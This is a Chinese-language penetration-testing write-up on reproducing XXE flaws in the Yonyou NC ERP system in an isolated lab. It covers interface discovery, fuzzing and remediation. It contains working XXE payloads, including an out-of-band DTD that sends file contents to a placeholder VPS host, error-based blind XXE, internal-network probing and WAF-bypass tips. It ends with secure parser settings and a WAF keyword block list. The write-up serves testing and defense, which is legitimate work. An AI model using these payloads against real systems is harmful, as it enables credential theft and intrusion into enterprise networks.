
1. 项目概述一次典型的企业级应用安全审计实战最近在内部安全演练中我们团队对一个广泛使用的企业资源管理ERP系统——用友NC进行了深度安全测试。这次测试并非无的放矢而是源于一个在安全社区中流传的、关于其多达24处接口存在XML实体注入XXE漏洞的风险情报。对于企业安全从业者或渗透测试工程师而言这类漏洞的复现与分析极具价值它不仅能揭示特定版本软件的安全缺陷更能为我们理解大型复杂系统在接口设计、数据处理层面的共性风险提供绝佳的实战案例。用友NC作为国内主流的企业管理软件其架构通常涉及大量的Web Service接口和XML数据交换这正是XXE漏洞滋生的温床。本篇文章我将以一个亲历者的视角详细拆解这次漏洞复现的全过程。我不会仅仅给出一个攻击载荷Payload了事而是会深入剖析漏洞的成因、定位方法、利用技巧以及在实际企业环境中可能遇到的各类“坑”。无论你是想提升实战能力的安服工程师还是负责企业应用安全评估的蓝队成员亦或是想了解XXE漏洞在真实商业软件中形态的安全爱好者这篇超过5000字的深度复盘都能为你提供从思路到实操的完整参考。我们将从环境搭建开始一步步走到漏洞验证与深度利用并分享我在复现过程中总结的独家技巧和排查心法。2. 漏洞原理与用友NC架构背景解析2.1 XML实体注入XXE漏洞核心机制再认识在深入用友NC的具体案例前我们必须夯实基础。XXE漏洞的根源在于应用程序在解析用户可控的XML输入时未对内部实体Internal Entity和外部实体External Entity的声明与引用进行有效限制。一个标准的XML解析器在默认配置下会忠实地执行DTD文档类型定义中的指令。简单来说攻击者可以构造一个特殊的XML文档在其中定义一个指向外部资源如服务器上的敏感文件、内部网络服务的实体然后在XML数据中引用这个实体。当解析器处理此XML时它会尝试去读取并嵌入这个外部资源的内容。这就打开了潘多拉魔盒可能导致敏感文件读取读取服务器上的/etc/passwd、C:\Windows\win.ini或应用配置文件。内部网络探测SSRF利用解析器发起对内部系统的HTTP请求探测内网资产。拒绝服务DoS通过引用消耗巨大资源的实体如“亿次笑”攻击实体耗尽服务器内存。远程代码执行RCE在特定环境下结合其他协议如PHP的expect://或后端处理逻辑可能实现命令执行。一个最简单的恶意XXE Payload如下?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root当这个XML被漏洞接口处理时服务器上的/etc/passwd文件内容就会被读取并可能返回给攻击者。注意现代XML解析库如Java的JAXP、Python的lxml通常提供了禁用外部实体的选项但很多遗留系统或默认配置并未开启用友NC的历史版本正是典型代表。2.2 用友NC的接口特征与风险面分析用友NC采用典型的J2EE架构前端富客户端与后端服务之间通过大量的HTTP/SOAP接口进行通信。这些接口为了处理复杂的业务数据如单据、凭证、报表广泛采用XML作为数据交换格式。通过分析其网络流量和代码结构如有反编译条件可以发现其接口调用通常具有以下模式统一入口与分发可能存在一个统一的Servlet如/servlet/~接口类名或Action根据参数调用不同的业务方法。XML参数传递业务数据往往被包装在一个特定的XML结构体中通过HTTP POST参数如xmlData、content或SOAP Body传递。老式XML解析为了兼容性或历史原因系统可能使用了默认配置的DocumentBuilderFactory、SAXParserFactory或JDOM/dom4j的SAXBuilder等解析器且未显式设置FEATURE_SECURE_PROCESSING或禁用XMLConstants.ACCESS_EXTERNAL_DTD等安全属性。风险情报中提到的“24处接口”并非指24个完全独立的URL更可能是指向多个后端业务组件Bean的多个方法这些方法共享了同一套不安全的XML解析逻辑。因此我们的测试思路不是盲目扫描24个URL而是寻找那些接收XML格式参数、且处理逻辑中涉及XML解析的接口。3. 靶场环境搭建与测试工具准备3.1 搭建用友NC测试环境要复现漏洞首先需要一个目标。绝对禁止在生产环境或未经授权的任何系统上进行测试。我们有以下几种合法途径获取测试环境官方演示/试用环境用友有时会提供在线的演示版本但功能可能受限且可能已打补丁。从合法渠道获取特定版本的安装包用于在隔离的虚拟机或实验室内搭建。建议选择漏洞情报所指的受影响版本例如NC 6.5及之前的某些版本。安装过程可能涉及Java环境、数据库如Oracle/SQL Server和中间件如WebLogic/WebSphere/Tomcat的配置需严格按照官方文档操作。使用漏洞靶场一些开源漏洞靶场平台如Vulhub、VulnApp可能集成了该漏洞环境这是最快速、安全的选择。在我的复现中我在一个完全隔离的虚拟机中安装了用友NC 6.5并部署在Tomcat 8.5上。确保环境网络可达并且你拥有一个可以交互的Web界面通常是http://ip:port访问登录页。3.2 必备测试工具清单工欲善其事必先利其器。以下是我在本次测试中使用的核心工具Burp Suite Professional不可或缺的HTTP代理和攻击平台。用于拦截、重放、修改请求以及使用Intruder模块进行模糊测试。Postman用于快速构建和测试API请求特别是在需要复杂XML结构时比Burp的Repeater更直观。浏览器开发者工具F12用于初步分析前端发起的网络请求找到潜在的API接口。dirsearch / gobuster用于目录和接口路径发现寻找未被前端直接引用的隐藏接口。一个公网可访问的服务器用于接收XXE漏洞触发的带外Out-of-Band, OOB数据这是证明“盲XXE”漏洞的关键。你可以使用VPS或者利用Burp Collaborator服务Burp Pro版功能。文本编辑器VS Code/Sublime用于编写和整理复杂的XML Payload。实操心得Burp的Logger和Flow插件能极大提升流量分析效率。对于XXE测试提前在Burp中配置好常用的XXE Payload模板通过Intruder的Payload Sets或Extensions中的Hackvertor可以节省大量时间。4. 漏洞接口发现与模糊测试策略4.1 接口信息收集与初步筛选漏洞复现的第一步是找到攻击面。我们不是盲目测试所有请求而是有策略地缩小范围。正常业务流遍历使用一个低权限测试账号登录系统后尽可能多地操作各个功能模块创建单据、查询报表、提交审批、修改设置等。同时全程开启Burp Suite作为代理记录所有HTTP/HTTPS请求。关注特定请求特征在Burp的Proxy - HTTP history中筛选出POST请求重点关注请求路径包含/servlet/、/service/、/axis2/、/webservice/、/portal/等关键词的路径。请求参数参数名如xml、data、content、request、params或者参数值看起来是结构化文本以开头。Content-Typeapplication/xml、text/xml或者application/x-www-form-urlencoded但参数值内含XML。静态资源分析如果有可能获取到前端代码如未压缩的JS可以搜索ajax、post、XMLHttpRequest等关键词找到前端调用的API端点。在我的测试中通过遍历“供应链管理”和“财务会计”模块我发现了多个类似/servlet/~接口类名的请求其content参数包含了大段的业务XML数据。4.2 针对XML参数的精准模糊测试找到可疑接口后下一步是验证其是否存在XXE。这里不能简单插入一个file:///etc/passwd了事因为需要符合接口原有的XML Schema。策略如下基线请求建立在Burp Repeater中选择一个典型的、包含XML参数的请求。确保重放该请求能返回正常的业务响应如success: true。试探性注入在原有XML结构中寻找一个可能被解析的文本节点Text Node或属性Attribute尝试插入一个简单的内部实体引用观察响应变化。原始参数片段usertest/user修改为userxxe;/user并在XML开头添加DTD定义。观察如果服务器返回了错误如500内部错误且错误信息提到“实体未定义”这是一个强信号说明服务器尝试解析了xxe;但没找到定义。这比直接成功读取文件更能说明解析器处于活跃状态。构造完整Payload如果上一步有反应则构造一个完整的、尝试读取已知文件的Payload。优先使用无回显BlindXXE的探测方法因为很多接口即使成功读取文件也不会在响应中直接回显。外部实体带外探测这是最可靠的方法。在Payload中定义一个指向我们公网服务器的外部实体。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % remote SYSTEM http://your-vps-ip/xxe.dtd %remote; ] root.../root在公网服务器/xxe.dtd文件中放置!ENTITY % file SYSTEM file:///C:/windows/win.ini !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-vps-ip/?data%file; %eval; %exfil;如果服务器存在漏洞它会下载这个DTD并执行尝试读取win.ini并将其内容通过HTTP请求发送到你的服务器日志中。查看服务器访问日志如果看到包含文件片段的请求则漏洞确认。注意事项由于Java的URL处理限制直接通过http://协议读取文件内容可能失败。更通用的方法是利用ftp://协议或netdoc://协议Java特有。例如可以搭建一个简单的FTP服务器如使用Python的pyftpdlib让漏洞服务器通过FTP连接将文件内容传输过来。这是Java XXE利用中的一个关键技巧。5. 漏洞深度利用与问题排查实录5.1 从文件读取到内网探测的利用升级一旦确认了XXE漏洞的存在我们就可以进行更深度的利用。用友NC通常部署在内网这为内网探测SSRF提供了条件。读取特定配置文件用友NC的配置文件往往包含数据库连接字符串这是极具价值的信息。尝试读取以下路径WEB-INF/classes/nc.propertiesWEB-INF/classes/jdbc.properties../conf/server.xml(Tomcat)C:/yonyou/config/xxx.xml(根据安装路径调整) 数据库连接字符串可能直接暴露数据库IP、端口、用户名和密码为后续渗透打开突破口。探测内网服务将外部实体指向内网地址。例如!ENTITY intranet SYSTEM http://192.168.1.1:8080/。通过观察响应时间或错误信息如连接拒绝、超时、返回特定Banner可以判断该IP端口是否存在服务。结合Burp Intruder可以批量探测常见的内部管理后台、Redis、Web服务等。利用Java特定协议netdoc://等同于file://在Java中可用于读取文件。ftp://如前所述用于数据外带。jar://、mailto://等在某些特定上下文中可能有奇效。5.2 复现过程中的典型问题与解决方案在实际复现中我遇到了几个颇具代表性的问题这里分享排查思路问题一Payload被WAF或前端校验拦截现象插入的XML被前端JavaScript校验拒绝或提交后请求被重置。排查检查前端JS是否有对输入内容的过滤或转义。使用Burp直接发送原始HTTP请求绕过浏览器前端。尝试对Payload进行编码如HTML实体编码、CDATA包裹、十六进制编码以绕过简单的过滤。例如将替换为lt;但需确保后端在解析前会进行解码。解决方案最终我发现其中一个接口的前端会检查XML的根节点名称。我保持了根节点名称不变仅在其子节点内部进行实体注入成功绕过。问题二响应中无回显且OOB探测无果现象服务器返回了与基线请求不同的错误但公网服务器没有收到任何HTTP或FTP请求。排查检查网络连通性确保靶机环境能访问你的公网IP可以尝试在靶机上执行ping或curl如果可能。检查协议支持目标服务器的Java环境可能限制了出网协议。尝试将http://改为ftp://并确保你的FTP服务器配置正确支持被动模式防火墙放行。尝试参数实体错误回显使用参数实体触发一个解析错误让错误信息中包含我们想要的数据。这是“盲XXE”利用的另一种经典技巧。!DOCTYPE root [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; error SYSTEM file:///nonexistent/%file; %eval; ] rooterror;/root如果服务器在构造error实体时尝试将文件内容作为路径的一部分可能会在错误信息中返回“/nonexistent/root:x:0:0...”这样的内容。解决方案在该案例中问题出在目标服务器的安全策略禁止了HTTP出站请求。我转而使用ftp://协议并在一台云服务器上搭建了支持匿名访问的FTP服务成功收到了文件数据。问题三解析器仅解析部分XML或DTD位置受限现象在XML正文中插入DTD和实体引用无效但返回错误提示“DOCTYPE is not allowed”。排查这可能是因为解析器配置了禁止在文档内部声明DTD或者只允许外部DTD。尝试将DTD完全放在外部通过SYSTEM关键字引入。?xml version1.0? !DOCTYPE root SYSTEM http://your-vps-ip/evil.dtd rootxxe;/root在evil.dtd中定义实体。这种方式有时能绕过限制。5.3 漏洞点归纳与影响范围评估通过对多个疑似接口的测试最终确认了漏洞情报的有效性。这些接口分散在不同的业务模块如ufida.nc.ui.pub.servlets、nc.bs.framework.comn等包名下但都调用了同一套不安全的XML解析工具类。根本原因是这些工具类在初始化DocumentBuilder或SAXParser时没有设置如下关键的安全属性// 安全的配置方式 DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 最佳禁止DTD // 或至少禁用外部实体 dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, );影响范围所有使用了该漏洞版本及未修复的后续版本的用友NC系统只要攻击者能访问到这些Web接口通常需要至少一个低权限账号但部分接口可能未授权就可能造成敏感信息泄露和内网边界突破。对于部署在DMZ区或互联网侧的系统风险极高。6. 修复建议与安全开发启示6.1 针对用友NC系统的临时缓解与官方修复对于系统管理员或安全运维人员紧急缓解WAF/IPS规则在Web应用防火墙或入侵防御系统上部署规则拦截包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等关键词的请求。输入过滤在反向代理如Nginx层面对请求体中的特定关键词进行过滤或拦截。但这种方法可能存在误杀和绕过风险。网络隔离严格限制用友NC服务器对互联网及内网非必要服务的出站连接阻断XXE带外数据泄露的通道。根本解决官方补丁立即联系用友官方获取针对该漏洞的安全补丁或升级到已修复的安全版本。这是最推荐的做法。代码修复如果具备二次开发能力定位到不安全的XML解析工具类按照上述安全代码示例进行全局修复并重新编译部署。6.2 给开发者的安全编码规范本次漏洞复现给所有处理XML数据的开发者敲响了警钟禁用DTD和外部实体是首选在业务不需要DTD验证的情况下直接通过设置FEATURE_DISABLE_DOCTYPE来禁止整个DTD。使用安全的XML处理器优先使用默认配置更安全的库如OWASP推荐的OWASP Java Encoder或配置了安全属性的JAXB。实施白名单验证对XML数据的结构和内容进行严格的模式验证XSD只接受预期的、规范的输入。依赖项安全管理定期对项目中使用的XML解析库如xerces、dom4j、JDOM进行安全扫描和升级已知的XXE漏洞也可能存在于这些库本身。SDL流程融入在安全开发生命周期中将“XML解析安全配置”作为代码审计和组件检测的必查项。6.3 企业安全防护体系建设思考从一个漏洞看整体防护资产与漏洞管理企业应建立完善的软件资产清单特别是像ERP、CRM这类核心商业软件需明确版本、部署位置、开放端口。并订阅相关的安全漏洞通告及时评估风险。纵深防御不能依赖单一防线。网络层的访问控制、主机层的安全加固、应用层的WAF、代码层的安全开发需要共同构成纵深防御体系。即使应用存在漏洞严格的网络分区如将ERP服务器置于独立VLAN限制其主动外联也能极大限制XXE等漏洞的危害。红蓝对抗常态化定期对核心业务系统进行授权下的渗透测试和安全评估主动发现类似XXE的深层次漏洞变被动防御为主动发现。这次对用友NC XXE漏洞的复现不仅仅是一次技术演练。它像一面镜子映照出复杂企业应用在快速发展过程中可能遗留的安全债务也提醒我们安全是一个需要持续关注、从代码到架构、从开发到运维的全链条工程。在实战中积累的每一个排查步骤、每一个绕过技巧、每一个修复方案最终都会凝结成我们守护数字资产城墙的一块砖石。